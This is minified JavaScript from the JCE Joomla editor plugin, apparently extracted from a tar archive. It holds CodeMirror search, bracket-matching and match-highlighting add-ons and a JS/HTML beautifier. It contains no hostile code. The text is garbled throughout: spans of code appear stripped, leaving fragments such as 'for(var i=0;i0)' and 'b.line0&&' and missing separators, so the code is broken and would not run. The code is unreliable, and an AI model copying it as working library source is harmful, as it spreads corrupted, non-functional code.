i(a);for(;f(b,j.from)>0;)e.shift().clear(),j=e[0].find();for(f(b,j.from)<0&&(j.to.line-b.line0&&(c.line-k.from.linef&&a.addOverlay(b.overlay=i(e.slice(f,g),c,b.style)),void 0}if(a.getCursor("head").line==a.getCursor("anchor").line){var h=a.getSelections()[0].replace(/^\s+|\s+$/g,"");h.length>=b.minChars&&a.addOverlay(b.overlay=i(h,!1,b.style))}})}function h(a,b){return!(a.start&&b.test(a.string.charAt(a.start-1))||a.pos!=a.string.length&&b.test(a.string.charAt(a.pos)))}function i(a,b,c){return{token:function(d){return!d.match(a)||b&&!h(d,b)?(d.next(),d.skipTo(a.charAt(0))||d.skipToEnd(),void 0):c}}}var b=2,c="matchhighlight",d=100;a.defineOption("highlightSelectionMatches",!1,function(b,c,d){if(d&&d!=a.Init){var h=b.state.matchHighlighter.overlay;h&&b.removeOverlay(h),clearTimeout(b.state.matchHighlighter.timeout),b.state.matchHighlighter=null,b.off("cursorActivity",f)}c&&(b.state.matchHighlighter=new e(c),g(b),b.on("cursorActivity",f))})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){function e(a,b,e,g){var h=a.getLineHandle(b.line),i=b.ch-1,j=i>=0&&d[h.text.charAt(i)]||d[h.text.charAt(++i)];if(!j)return null;var k=">"==j.charAt(1)?1:-1;if(e&&k>0!=(i==b.ch))return null;var l=a.getTokenTypeAt(c(b.line,i+1)),m=f(a,c(b.line,i+(k>0?1:0)),k,l||null,g);return{from:c(b.line,i),to:m&&m.pos,match:m&&m.ch==j.charAt(0),forward:k>0}}function f(a,b,e,f,g){for(var h=g&&g.maxScanLineLength||1e4,i=g&&g.maxScanLines||500,j=[],k=/[(){}[\]]/,l=e>0?Math.min(b.line+i,a.lastLine()+1):Math.max(a.firstLine()-1,b.line-i),m=b.line;m!=l;m+=e){var n=a.getLine(m);if(n){var o=e>0?0:n.length-1,p=e>0?n.length:-1;if(!(n.length>h))for(m==b.line&&(o=b.ch-(0>e?1:0));o!=p;o+=e){var q=n.charAt(o);if(k.test(q)&&(void 0===f||a.getTokenTypeAt(c(m,o+1))==f)){var r=d[q];if(">"==r.charAt(1)==e>0)j.push(q);else{if(!j.length)return{pos:c(m,o),ch:q};j.pop()}}}}}}function g(a,d,f){for(var g=a.state.matchBrackets.maxHighlightLineLength||1e3,h=[],i=a.listSelections(),j=0;j",")":"(<","[":"]>","]":"[<","{":"}>","}":"{<"},h=null;a.defineOption("matchBrackets",!1,function(b,c,d){d&&d!=a.Init&&b.off("cursorActivity",i),c&&(b.state.matchBrackets="object"==typeof c?c:{},b.on("cursorActivity",i))}),a.defineExtension("matchBrackets",function(){g(this,!0)}),a.defineExtension("findMatchingBracket",function(a,b){return e(this,a,b)}),a.defineExtension("scanForBracket",function(a,b,c){return f(this,a,b,c)})}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror"),require("./searchcursor"),require("../dialog/dialog")):"function"==typeof define&&define.amd?define(["../../lib/codemirror","./searchcursor","../dialog/dialog"],a):a(CodeMirror)}(function(a){"use strict";function b(a,b){var c;return"string"==typeof a?(c=a.charAt(0),a=new RegExp("^"+a.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&"),b?"i":"")):a=new RegExp("^(?:"+a.source+")",a.ignoreCase?"i":""),{token:function(d){if(d.match(a))return"searching";for(;!d.eol()&&(d.next(),c&&!b&&(d.skipTo(c)||d.skipToEnd()),!d.match(a,!1)););}}}function c(){this.posFrom=this.posTo=this.query=null,this.overlay=null}function d(a){return a.state.search||(a.state.search=new c)}function e(a){return"string"==typeof a&&a==a.toLowerCase()}function f(a,b,c){return a.getSearchCursor(b,c,e(b))}function g(a,b,c,d,e){a.openDialog?a.openDialog(b,e,{value:d}):e(prompt(c,d))}function h(a,b,c,d){a.openConfirm?a.openConfirm(b,d):confirm(c)&&d[0]()}function i(a){var b=a.match(/^\/(.*)\/([a-z]*)$/);return b?(a=new RegExp(b[1],-1==b[2].indexOf("i")?"":"i"),a.test("")&&(a=/x^/)):""==a&&(a=/x^/),a}function k(a,c){var f=d(a);return f.query?l(a,c):(g(a,j,"Search for:",a.getSelection(),function(d){a.operation(function(){d&&!f.query&&(f.query=i(d),a.removeOverlay(f.overlay,e(f.query)),f.overlay=b(f.query,e(f.query)),a.addOverlay(f.overlay),f.posFrom=f.posTo=a.getCursor(),l(a,c))})}),void 0)}function l(b,c){b.operation(function(){var e=d(b),g=f(b,e.query,c?e.posFrom:e.posTo);(g.find(c)||(g=f(b,e.query,c?a.Pos(b.lastLine()):a.Pos(b.firstLine(),0)),g.find(c)))&&(b.setSelection(g.from(),g.to()),b.scrollIntoView({from:g.from(),to:g.to()}),e.posFrom=g.from(),e.posTo=g.to())})}function m(a){a.operation(function(){var b=d(a);b.query&&(b.query=null,a.removeOverlay(b.overlay))})}function q(a,b){g(a,n,"Replace:",a.getSelection(),function(c){c&&(c=i(c),g(a,o,"Replace with:","",function(d){if(b)a.operation(function(){for(var b=f(a,c);b.findNext();)if("string"!=typeof c){var e=a.getRange(b.from(),b.to()).match(c);b.replace(d.replace(/\$(\d)/g,function(a,b){return e[b]}))}else b.replace(d)});else{m(a);var e=f(a,c,a.getCursor()),g=function(){var d,b=e.from();!(d=e.findNext())&&(e=f(a,c),!(d=e.findNext())||b&&e.from().line==b.line&&e.from().ch==b.ch)||(a.setSelection(e.from(),e.to()),a.scrollIntoView({from:e.from(),to:e.to()}),h(a,p,"Replace?",[function(){i(d)},g]))},i=function(a){e.replace("string"==typeof c?d:d.replace(/\$(\d)/g,function(b,c){return a[c]})),g()};g()}}))})}var j='Search: (Use /re/ syntax for regexp search)',n='Replace: (Use /re/ syntax for regexp search)',o='With: ',p="Replace? ";a.commands.find=function(a){m(a),k(a)},a.commands.findNext=k,a.commands.findPrev=function(a){k(a,!0)},a.commands.clearSearch=m,a.commands.replace=q,a.commands.replaceAll=function(a){q(a,!0)}}),function(a){"object"==typeof exports&&"object"==typeof module?a(require("../../lib/codemirror")):"function"==typeof define&&define.amd?define(["../../lib/codemirror"],a):a(CodeMirror)}(function(a){"use strict";function c(a,c,e,f){if(this.atOccurrence=!1,this.doc=a,null==f&&"string"==typeof c&&(f=!1),e=e?a.clipPos(e):b(0,0),this.pos={from:e,to:e},"string"!=typeof c)c.global||(c=new RegExp(c.source,c.ignoreCase?"ig":"g")),this.matches=function(d,e){if(d){c.lastIndex=0;for(var h,i,f=a.getLine(e.line).slice(0,e.ch),g=0;;){c.lastIndex=g;var j=c.exec(f);if(!j)break;if(h=j,i=h.index,g=h.index+(h[0].length||1),g==f.length)break}var k=h&&h[0].length||0;k||(0==i&&0==f.length?h=void 0:i!=a.getLine(e.line).length&&k++)}else{c.lastIndex=e.ch;var f=a.getLine(e.line),h=c.exec(f),k=h&&h[0].length||0,i=h&&h.index;i+k==f.length||k||(k=1)}return h&&k?{from:b(e.line,i),to:b(e.line,i+k),match:h}:void 0};else{var g=c;f&&(c=c.toLowerCase());var h=f?function(a){return a.toLowerCase()}:function(a){return a},i=c.split("\n");if(1==i.length)this.matches=c.length?function(e,f){if(e){var i=a.getLine(f.line).slice(0,f.ch),j=h(i),k=j.lastIndexOf(c);if(k>-1)return k=d(i,j,k),{from:b(f.line,k),to:b(f.line,k+g.length)}}else{var i=a.getLine(f.line).slice(f.ch),j=h(i),k=j.indexOf(c);if(k>-1)return k=d(i,j,k)+f.ch,{from:b(f.line,k),to:b(f.line,k+g.length)}}}:function(){};else{var j=g.split("\n");this.matches=function(c,d){var e=i.length-1;if(c){if(d.line-(i.length-1)=1;--k,--g)if(i[k]!=h(a.getLine(g)))return;var l=a.getLine(g),m=l.length-j[0].length;if(h(l.slice(m))!=i[0])return;return{from:b(g,m),to:f}}if(!(d.line+(i.length-1)>a.lastLine())){var l=a.getLine(d.line),m=l.length-j[0].length;if(h(l.slice(m))==i[0]){for(var n=b(d.line,m),g=d.line+1,k=1;e>k;++k,++g)if(i[k]!=h(a.getLine(g)))return;if(a.getLine(g).slice(0,j[e].length)==i[e])return{from:n,to:b(g,j[e].length)}}}}}}}function d(a,b,c){if(a.length==b.length)return c;for(var d=Math.min(c,a.length);;){var e=a.slice(0,d).toLowerCase().length;if(c>e)++d;else{if(!(e>c))return d;--d}}}var b=a.Pos;c.prototype={findNext:function(){return this.find(!1)},findPrevious:function(){return this.find(!0)},find:function(a){function e(a){var d=b(a,0);return c.pos={from:d,to:d},c.atOccurrence=!1,!1}for(var c=this,d=this.doc.clipPos(a?this.pos.from:this.pos.to);;){if(this.pos=this.matches(a,d))return this.atOccurrence=!0,this.pos.match||!0;if(a){if(!d.line)return e(0);d=b(d.line-1,this.doc.getLine(d.line-1).length)}else{var f=this.doc.lineCount();if(d.line==f-1)return e(f);d=b(d.line+1,0)}}},from:function(){return this.atOccurrence?this.pos.from:void 0},to:function(){return this.atOccurrence?this.pos.to:void 0},replace:function(c){if(this.atOccurrence){var d=a.splitLines(c);this.doc.replaceRange(d,this.pos.from,this.pos.to),this.pos.to=b(this.pos.from.line+d.length-1,d[d.length-1].length+(1==d.length?this.pos.from.ch:0))}}},a.defineExtension("getSearchCursor",function(a,b,d){return new c(this.doc,a,b,d)}),a.defineDocExtension("getSearchCursor",function(a,b,d){return new c(this,a,b,d)}),a.defineExtension("selectMatches",function(b,c){for(var e,d=[],f=this.getSearchCursor(b,this.getCursor("from"),c);(e=f.findNext())&&!(a.cmpPos(f.to(),this.getCursor("to"))>0);)d.push({anchor:f.from(),head:f.to()});d.length&&this.setSelections(d,0)})});com_jce/editor/tiny_mce/plugins/source/js/codemirror/index.html000066600000000054150771500630021006 0ustar00com_jce/editor/tiny_mce/plugins/source/js/index.html000066600000000054150771500630016641 0ustar00com_jce/editor/tiny_mce/plugins/source/js/format.js000066600000103535150771500630016502 0ustar00/* JCE Editor - 2.4.3 | 11 September 2014 | http://www.joomlacontenteditor.net | Copyright (C) 2006 - 2014 Ryan Demmer. All rights reserved | GNU/GPL Version 2 or later - http://www.gnu.org/licenses/gpl-2.0.html */ (function(){var options={'indent_size':1,'indent_char':'\t','unformatted':['a','abbr','acronym','b','bdo','big','br','cite','code','dfn','em','i','img','input','kbd','label','q','samp','select','small','span','strong','sub','sup','textarea','tt','var','pre'],'max_char':0};SourceEditor.formatHTML=function(html,o){for(var n in o){options[n]=o[n];} html=style_html(html,options);return html.replace(new RegExp('\n*\t*<('+options.unformatted.join('|')+')','gi'),'<$1').replace(/\n\t<\/(li|dt|dd)>/gi,'').replace(/\n+/g,'\n');};function js_beautify(js_source_text,options){var input,output,token_text,last_type,last_text,last_last_text,last_word,flags,flag_store,indent_string;var whitespace,wordchar,punct,parser_pos,line_starters,digits;var prefix,token_type,do_block_just_closed;var wanted_newline,just_added_newline,n_newlines;var preindent_string='';options=options?options:{};var opt_brace_style;if(options.space_after_anon_function!==undefined&&options.jslint_happy===undefined){options.jslint_happy=options.space_after_anon_function;} if(options.braces_on_own_line!==undefined){opt_brace_style=options.braces_on_own_line?"expand":"collapse";} opt_brace_style=options.brace_style?options.brace_style:(opt_brace_style?opt_brace_style:"collapse");var opt_indent_size=options.indent_size?options.indent_size:4;var opt_indent_char=options.indent_char?options.indent_char:' ';var opt_preserve_newlines=typeof options.preserve_newlines==='undefined'?true:options.preserve_newlines;var opt_max_preserve_newlines=typeof options.max_preserve_newlines==='undefined'?false:options.max_preserve_newlines;var opt_jslint_happy=options.jslint_happy==='undefined'?false:options.jslint_happy;var opt_keep_array_indentation=typeof options.keep_array_indentation==='undefined'?false:options.keep_array_indentation;var opt_space_before_conditional=typeof options.space_before_conditional==='undefined'?true:options.space_before_conditional;var opt_indent_case=typeof options.indent_case==='undefined'?false:options.indent_case;just_added_newline=false;var input_length=js_source_text.length;function trim_output(eat_newlines){eat_newlines=typeof eat_newlines==='undefined'?false:eat_newlines;while(output.length&&(output[output.length-1]===' '||output[output.length-1]===indent_string||output[output.length-1]===preindent_string||(eat_newlines&&(output[output.length-1]==='\n'||output[output.length-1]==='\r')))){output.pop();}} function trim(s){return s.replace(/^\s\s*|\s\s*$/,'');} function split_newlines(s) {s=s.replace(/\x0d/g,'');var out=[],idx=s.indexOf("\n");while(idx!=-1){out.push(s.substring(0,idx));s=s.substring(idx+1);idx=s.indexOf("\n");} if(s.length){out.push(s);} return out;} function force_newline() {var old_keep_array_indentation=opt_keep_array_indentation;opt_keep_array_indentation=false;print_newline() opt_keep_array_indentation=old_keep_array_indentation;} function print_newline(ignore_repeated){flags.eat_next_space=false;if(opt_keep_array_indentation&&is_array(flags.mode)){return;} ignore_repeated=typeof ignore_repeated==='undefined'?true:ignore_repeated;flags.if_line=false;trim_output();if(!output.length){return;} if(output[output.length-1]!=="\n"||!ignore_repeated){just_added_newline=true;output.push("\n");} if(preindent_string){output.push(preindent_string);} for(var i=0;i0){var mode=flags.mode;flags=flag_store.pop();flags.previous_mode=mode;}} function all_lines_start_with(lines,c){for(var i=0;i=input_length)return 0;c=input.charAt(local_pos);} return c;} function get_next_token(){n_newlines=0;if(parser_pos>=input_length){return['','TK_EOF'];} wanted_newline=false;var c=input.charAt(parser_pos);parser_pos+=1;var keep_whitespace=opt_keep_array_indentation&&is_array(flags.mode);if(keep_whitespace){var whitespace_count=0;while(in_array(c,whitespace)){if(c==="\n"){trim_output();output.push("\n");just_added_newline=true;whitespace_count=0;}else{if(c==='\t'){whitespace_count+=4;}else if(c==='\r'){}else{whitespace_count+=1;}} if(parser_pos>=input_length){return['','TK_EOF'];} c=input.charAt(parser_pos);parser_pos+=1;} if(flags.indentation_baseline===-1){flags.indentation_baseline=whitespace_count;} if(just_added_newline){var i;for(i=0;i=input_length){return['','TK_EOF'];} c=input.charAt(parser_pos);parser_pos+=1;} if(opt_preserve_newlines){if(n_newlines>1){for(i=0;i0;} if(in_array(c,wordchar)){if(parser_pos=input_length){break;}}} parser_pos+=2;if(inline_comment&&n_newlines==0){return['/*'+comment+'*/','TK_INLINE_COMMENT'];}else{return['/*'+comment+'*/','TK_BLOCK_COMMENT'];}} if(input.charAt(parser_pos)==='/'){comment=c;while(input.charAt(parser_pos)!=='\r'&&input.charAt(parser_pos)!=='\n'){comment+=input.charAt(parser_pos);parser_pos+=1;if(parser_pos>=input_length){break;}} parser_pos+=1;if(wanted_newline){print_newline();} return[comment,'TK_COMMENT'];}} if(c==="'"||c==='"'||(c==='/'&&((last_type==='TK_WORD'&&is_special_word(last_text))||(last_text===')'&&in_array(flags.previous_mode,['(COND-EXPRESSION)','(FOR-EXPRESSION)']))||(last_type==='TK_COMMENT'||last_type==='TK_START_EXPR'||last_type==='TK_START_BLOCK'||last_type==='TK_END_BLOCK'||last_type==='TK_OPERATOR'||last_type==='TK_EQUALS'||last_type==='TK_EOF'||last_type==='TK_SEMICOLON')))){var sep=c;var esc=false;var resulting_string=c;if(parser_pos=input_length){return[resulting_string,'TK_STRING'];}}}else{while(esc||input.charAt(parser_pos)!==sep){resulting_string+=input.charAt(parser_pos);if(!esc){esc=input.charAt(parser_pos)==='\\';}else{esc=false;} parser_pos+=1;if(parser_pos>=input_length){return[resulting_string,'TK_STRING'];}}}} parser_pos+=1;resulting_string+=sep;if(sep==='/'){while(parser_pos'){flags.in_html_comment=false;parser_pos+=2;if(wanted_newline){print_newline();} return['-->','TK_COMMENT'];} if(in_array(c,punct)){while(parser_pos=input_length){break;}} if(c==='='){return[c,'TK_EQUALS'];}else{return[c,'TK_OPERATOR'];}} return[c,'TK_UNKNOWN'];} indent_string='';while(opt_indent_size>0){indent_string+=opt_indent_char;opt_indent_size-=1;} while(js_source_text&&(js_source_text.charAt(0)===' '||js_source_text.charAt(0)==='\t')){preindent_string+=js_source_text.charAt(0);js_source_text=js_source_text.substring(1);} input=js_source_text;last_word='';last_type='TK_START_EXPR';last_text='';last_last_text='';output=[];do_block_just_closed=false;whitespace="\n\r\t ".split('');wordchar='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_$'.split('');digits='0123456789'.split('');punct='+ - * / % & ++ -- = += -= *= /= %= == === != !== > < >= <= >> << >>> >>>= >>= <<= && &= | || ! !! , : ? ^ ^= |= ::';punct+=' <%= <% %> ';punct=punct.split(' ');line_starters='continue,try,throw,return,var,if,switch,case,default,for,while,break,function'.split(',');flag_store=[];set_mode('BLOCK');parser_pos=0;while(true){var t=get_next_token(parser_pos);token_text=t[0];token_type=t[1];if(token_type==='TK_EOF'){break;} switch(token_type){case'TK_START_EXPR':if(token_text==='['){if(last_type==='TK_WORD'||last_text===')'){if(in_array(last_text,line_starters)){print_single_space();} set_mode('(EXPRESSION)');print_token();break;} if(flags.mode==='[EXPRESSION]'||flags.mode==='[INDENTED-EXPRESSION]'){if(last_last_text===']'&&last_text===','){if(flags.mode==='[EXPRESSION]'){flags.mode='[INDENTED-EXPRESSION]';if(!opt_keep_array_indentation){indent();}} set_mode('[EXPRESSION]');if(!opt_keep_array_indentation){print_newline();}}else if(last_text==='['){if(flags.mode==='[EXPRESSION]'){flags.mode='[INDENTED-EXPRESSION]';if(!opt_keep_array_indentation){indent();}} set_mode('[EXPRESSION]');if(!opt_keep_array_indentation){print_newline();}}else{set_mode('[EXPRESSION]');}}else{set_mode('[EXPRESSION]');}}else{if(last_word==='for'){set_mode('(FOR-EXPRESSION)');}else if(in_array(last_word,['if','while'])){set_mode('(COND-EXPRESSION)');}else{set_mode('(EXPRESSION)');}} if(last_text===';'||last_type==='TK_START_BLOCK'){print_newline();}else if(last_type==='TK_END_EXPR'||last_type==='TK_START_EXPR'||last_type==='TK_END_BLOCK'||last_text==='.'){if(wanted_newline){print_newline();}}else if(last_type!=='TK_WORD'&&last_type!=='TK_OPERATOR'){print_single_space();}else if(last_word==='function'||last_word==='typeof'){if(opt_jslint_happy){print_single_space();}}else if(in_array(last_text,line_starters)||last_text==='catch'){if(opt_space_before_conditional){print_single_space();}} print_token();break;case'TK_END_EXPR':if(token_text===']'){if(opt_keep_array_indentation){if(last_text==='}'){remove_indent();print_token();restore_mode();break;}}else{if(flags.mode==='[INDENTED-EXPRESSION]'){if(last_text===']'){restore_mode();print_newline();print_token();break;}}}} restore_mode();print_token();break;case'TK_START_BLOCK':if(last_word==='do'){set_mode('DO_BLOCK');}else{set_mode('BLOCK');} if(opt_brace_style=="expand"||opt_brace_style=="expand-strict"){var empty_braces=false;if(opt_brace_style=="expand-strict") {empty_braces=(look_up()=='}');if(!empty_braces){print_newline(true);}}else{if(last_type!=='TK_OPERATOR'){if(last_text==='='||(is_special_word(last_text)&&last_text!=='else')){print_single_space();}else{print_newline(true);}}} print_token();if(!empty_braces)indent();}else{if(last_type!=='TK_OPERATOR'&&last_type!=='TK_START_EXPR'){if(last_type==='TK_START_BLOCK'){print_newline();}else{print_single_space();}}else{if(is_array(flags.previous_mode)&&last_text===','){if(last_last_text==='}'){print_single_space();}else{print_newline();}}} indent();print_token();} break;case'TK_END_BLOCK':restore_mode();if(opt_brace_style=="expand"||opt_brace_style=="expand-strict"){if(last_text!=='{'){print_newline();} print_token();}else{if(last_type==='TK_START_BLOCK'){if(just_added_newline){remove_indent();}else{trim_output();}}else{if(is_array(flags.mode)&&opt_keep_array_indentation){opt_keep_array_indentation=false;print_newline();opt_keep_array_indentation=true;}else{print_newline();}} print_token();} break;case'TK_WORD':if(do_block_just_closed){print_single_space();print_token();print_single_space();do_block_just_closed=false;break;} if(token_text==='function'){if(flags.var_line){flags.var_line_reindented=true;} if((just_added_newline||last_text===';')&&last_text!=='{'&&last_type!='TK_BLOCK_COMMENT'&&last_type!='TK_COMMENT'){n_newlines=just_added_newline?n_newlines:0;if(!opt_preserve_newlines){n_newlines=1;} for(var i=0;i<2-n_newlines;i++){print_newline(false);}}} if(token_text==='case'||(token_text==='default'&&flags.in_case_statement)){if(last_text===':'||flags.case_body){remove_indent();}else{if(!opt_indent_case) flags.indentation_level--;print_newline();if(!opt_indent_case) flags.indentation_level++;} print_token();flags.in_case=true;flags.in_case_statement=true;flags.case_body=false;break;} prefix='NONE';if(last_type==='TK_END_BLOCK'){if(!in_array(token_text.toLowerCase(),['else','catch','finally'])){prefix='NEWLINE';}else{if(opt_brace_style=="expand"||opt_brace_style=="end-expand"||opt_brace_style=="expand-strict"){prefix='NEWLINE';}else{prefix='SPACE';print_single_space();}}}else if(last_type==='TK_SEMICOLON'&&(flags.mode==='BLOCK'||flags.mode==='DO_BLOCK')){prefix='NEWLINE';}else if(last_type==='TK_SEMICOLON'&&is_expression(flags.mode)){prefix='SPACE';}else if(last_type==='TK_STRING'){prefix='NEWLINE';}else if(last_type==='TK_WORD'){if(last_text==='else'){trim_output(true);} prefix='SPACE';}else if(last_type==='TK_START_BLOCK'){prefix='NEWLINE';}else if(last_type==='TK_END_EXPR'){print_single_space();prefix='NEWLINE';} if(in_array(token_text,line_starters)&&last_text!==')'){if(last_text=='else'){prefix='SPACE';}else{prefix='NEWLINE';} if(token_text==='function'&&(last_text==='get'||last_text==='set')){prefix='SPACE';}} if(flags.if_line&&last_type==='TK_END_EXPR'){flags.if_line=false;} if(in_array(token_text.toLowerCase(),['else','catch','finally'])){if(last_type!=='TK_END_BLOCK'||opt_brace_style=="expand"||opt_brace_style=="end-expand"||opt_brace_style=="expand-strict"){print_newline();}else{trim_output(true);print_single_space();}}else if(prefix==='NEWLINE'){if((last_type==='TK_START_EXPR'||last_text==='='||last_text===',')&&token_text==='function'){}else if(token_text==='function'&&last_text=='new'){print_single_space();}else if(is_special_word(last_text)){print_single_space();}else if(last_type!=='TK_END_EXPR'){if((last_type!=='TK_START_EXPR'||token_text!=='var')&&last_text!==':'){if(token_text==='if'&&last_word==='else'&&last_text!=='{'){print_single_space();}else{flags.var_line=false;flags.var_line_reindented=false;print_newline();}}}else if(in_array(token_text,line_starters)&&last_text!=')'){flags.var_line=false;flags.var_line_reindented=false;print_newline();}}else if(is_array(flags.mode)&&last_text===','&&last_last_text==='}'){print_newline();}else if(prefix==='SPACE'){print_single_space();} print_token();last_word=token_text;if(token_text==='var'){flags.var_line=true;flags.var_line_reindented=false;flags.var_line_tainted=false;} if(token_text==='if'){flags.if_line=true;} if(token_text==='else'){flags.if_line=false;} break;case'TK_SEMICOLON':print_token();flags.var_line=false;flags.var_line_reindented=false;if(flags.mode=='OBJECT'){flags.mode='BLOCK';} break;case'TK_STRING':if(last_type==='TK_END_EXPR'&&in_array(flags.previous_mode,['(COND-EXPRESSION)','(FOR-EXPRESSION)'])){print_single_space();}else if(last_type=='TK_STRING'||last_type==='TK_START_BLOCK'||last_type==='TK_END_BLOCK'||last_type==='TK_SEMICOLON'){print_newline();}else if(last_type==='TK_WORD'){print_single_space();} print_token();break;case'TK_EQUALS':if(flags.var_line){flags.var_line_tainted=true;} print_single_space();print_token();print_single_space();break;case'TK_OPERATOR':var space_before=true;var space_after=true;if(flags.var_line&&token_text===','&&(is_expression(flags.mode))){flags.var_line_tainted=false;} if(flags.var_line){if(token_text===','){if(flags.var_line_tainted){print_token();flags.var_line_reindented=true;flags.var_line_tainted=false;print_newline();break;}else{flags.var_line_tainted=false;}}} if(is_special_word(last_text)){print_single_space();print_token();break;} if(token_text=='*'&&last_type=='TK_UNKNOWN'&&!last_last_text.match(/^\d+$/)){print_token();break;} if(token_text===':'&&flags.in_case){if(opt_indent_case) flags.case_body=true;print_token();print_newline();flags.in_case=false;break;} if(token_text==='::'){print_token();break;} if(token_text===','){if(flags.var_line){if(flags.var_line_tainted){print_token();print_newline();flags.var_line_tainted=false;}else{print_token();print_single_space();}}else if(last_type==='TK_END_BLOCK'&&flags.mode!=="(EXPRESSION)"){print_token();if(flags.mode==='OBJECT'&&last_text==='}'){print_newline();}else{print_single_space();}}else{if(flags.mode==='OBJECT'){print_token();print_newline();}else{print_token();print_single_space();}} break;}else if(in_array(token_text,['--','++','!'])||(in_array(token_text,['-','+'])&&(in_array(last_type,['TK_START_BLOCK','TK_START_EXPR','TK_EQUALS','TK_OPERATOR'])||in_array(last_text,line_starters)))){space_before=false;space_after=false;if(last_text===';'&&is_expression(flags.mode)){space_before=true;} if(last_type==='TK_WORD'&&in_array(last_text,line_starters)){space_before=true;} if(flags.mode==='BLOCK'&&(last_text==='{'||last_text===';')){print_newline();}}else if(token_text==='.'){space_before=false;}else if(token_text===':'){if(flags.ternary_depth==0){if(flags.mode=='BLOCK'){flags.mode='OBJECT';} space_before=false;}else{flags.ternary_depth-=1;}}else if(token_text==='?'){flags.ternary_depth+=1;} if(space_before){print_single_space();} print_token();if(space_after){print_single_space();} if(token_text==='!'){} break;case'TK_BLOCK_COMMENT':var lines=split_newlines(token_text);if(all_lines_start_with(lines.slice(1),'*')){print_newline();output.push(lines[0]);for(i=1;i1){print_newline();}else{if(last_type==='TK_END_BLOCK'){print_newline();}else{print_single_space();}} for(i=0;i=this.input.length){return content.length?content.join(''):['','TK_EOF'];} input_char=this.input.charAt(this.pos);this.pos++;this.line_char_count++;if(this.Utils.in_array(input_char,this.Utils.whitespace)&&input_char!=' '){if(content.length){space=true;} this.line_char_count--;continue;} else if(space){if(this.line_char_count>=this.max_char){content.push('\n');for(var i=0;i','igm');reg_match.lastIndex=this.pos;var reg_array=reg_match.exec(this.input);var end_script=reg_array?reg_array.index:this.input.length;if(this.pos=this.input.length){return content.length?content.join(''):['','TK_EOF'];} input_char=this.input.charAt(this.pos);this.pos++;this.line_char_count++;if(this.Utils.in_array(input_char,this.Utils.whitespace)){space=true;this.line_char_count--;continue;} if(input_char==="'"||input_char==='"'){if(!content[1]||content[1]!=='!'){input_char+=this.get_unformatted(input_char);space=true;}} if(input_char==='='){space=false;} if(content.length&&content[content.length-1]!=='='&&input_char!=='>'&&space){if(this.line_char_count>=this.max_char){this.print_newline(false,content);this.line_char_count=0;} else{content.push(' ');this.line_char_count++;} space=false;} content.push(input_char);}while(input_char!=='>');var tag_complete=content.join('');var tag_index;if(tag_complete.indexOf(' ')!=-1){tag_index=tag_complete.indexOf(' ');} else{tag_index=tag_complete.indexOf('>');} var tag_check=tag_complete.substring(1,tag_index).toLowerCase();if(tag_complete.charAt(tag_complete.length-2)==='/'||this.Utils.in_array(tag_check,this.Utils.single_token)){this.tag_type='SINGLE';} else if(tag_check==='script'){this.record_tag(tag_check);this.tag_type='SCRIPT';} else if(tag_check==='style'){this.record_tag(tag_check);this.tag_type='STYLE';} else if(this.Utils.in_array(tag_check,unformatted)){var comment=this.get_unformatted('',tag_complete);content.push(comment);this.tag_type='SINGLE';} else if(tag_check.charAt(0)==='!'){if(tag_check.indexOf('[if')!=-1){if(tag_complete.indexOf('!IE')!=-1){var comment=this.get_unformatted('-->',tag_complete);content.push(comment);} this.tag_type='START';} else if(tag_check.indexOf('[endif')!=-1){this.tag_type='END';this.unindent();} else if(tag_check.indexOf('[cdata[')!=-1){var comment=this.get_unformatted(']]>',tag_complete);content.push(comment);this.tag_type='SINGLE';} else{var comment=this.get_unformatted('-->',tag_complete);content.push(comment);this.tag_type='SINGLE';}} else{if(tag_check.charAt(0)==='/'){this.retrieve_tag(tag_check.substring(1));this.tag_type='END';} else{this.record_tag(tag_check);this.tag_type='START';} if(this.Utils.in_array(tag_check,this.Utils.extra_liners)){this.print_newline(true,this.output);}} return content.join('');} this.get_unformatted=function(delimiter,orig_tag){if(orig_tag&&orig_tag.indexOf(delimiter)!=-1){return'';} var input_char='';var content='';var space=true;do{if(this.pos>=this.input.length){return content;} input_char=this.input.charAt(this.pos);this.pos++ if(this.Utils.in_array(input_char,this.Utils.whitespace)){if(!space){this.line_char_count--;continue;} if(input_char==='\n'||input_char==='\r'){content+='\n';this.line_char_count=0;continue;}} content+=input_char;this.line_char_count++;space=true;}while(content.indexOf(delimiter)==-1);return content;} this.get_token=function(){var token;if(this.last_token==='TK_TAG_SCRIPT'||this.last_token==='TK_TAG_STYLE'){var type=this.last_token.substr(7) token=this.get_contents_to(type);if(typeof token!=='string'){return token;} return[token,'TK_'+type];} if(this.current_mode==='CONTENT'){token=this.get_content();if(typeof token!=='string'){return token;} else{return[token,'TK_CONTENT'];}} if(this.current_mode==='TAG'){token=this.get_tag();if(typeof token!=='string'){return token;} else{var tag_name_type='TK_TAG_'+this.tag_type;return[token,tag_name_type];}}} this.get_full_indent=function(level){level=this.indent_level+level||0;if(level<1) return'';return Array(level+1).join(this.indent_string);} this.printer=function(js_source,indent_character,indent_size,max_char,brace_style){this.input=js_source||'';this.output=[];this.indent_character=indent_character;this.indent_string='';this.indent_size=indent_size;this.brace_style=brace_style;this.indent_level=0;this.max_char=max_char;this.line_char_count=0;for(var i=0;i0){this.indent_level--;}}} return this;} multi_parser=new Parser();multi_parser.printer(html_source,indent_character,indent_size,max_char,brace_style);while(true){var t=multi_parser.get_token();multi_parser.token_text=t[0];multi_parser.token_type=t[1];if(multi_parser.token_type==='TK_EOF'){break;} switch(multi_parser.token_type){case'TK_TAG_START':multi_parser.print_newline(false,multi_parser.output);multi_parser.print_token(multi_parser.token_text);multi_parser.indent();multi_parser.current_mode='CONTENT';break;case'TK_TAG_STYLE':case'TK_TAG_SCRIPT':multi_parser.print_newline(false,multi_parser.output);multi_parser.print_token(multi_parser.token_text);multi_parser.current_mode='CONTENT';break;case'TK_TAG_END':if(multi_parser.last_token==='TK_CONTENT'&&multi_parser.last_text===''){var tag_name=multi_parser.token_text.match(/\w+/)[0];var tag_extracted_from_last_output=multi_parser.output[multi_parser.output.length-1].match(/<\s*(\w+)/);if(tag_extracted_from_last_output===null||tag_extracted_from_last_output[1]!==tag_name) multi_parser.print_newline(true,multi_parser.output);} 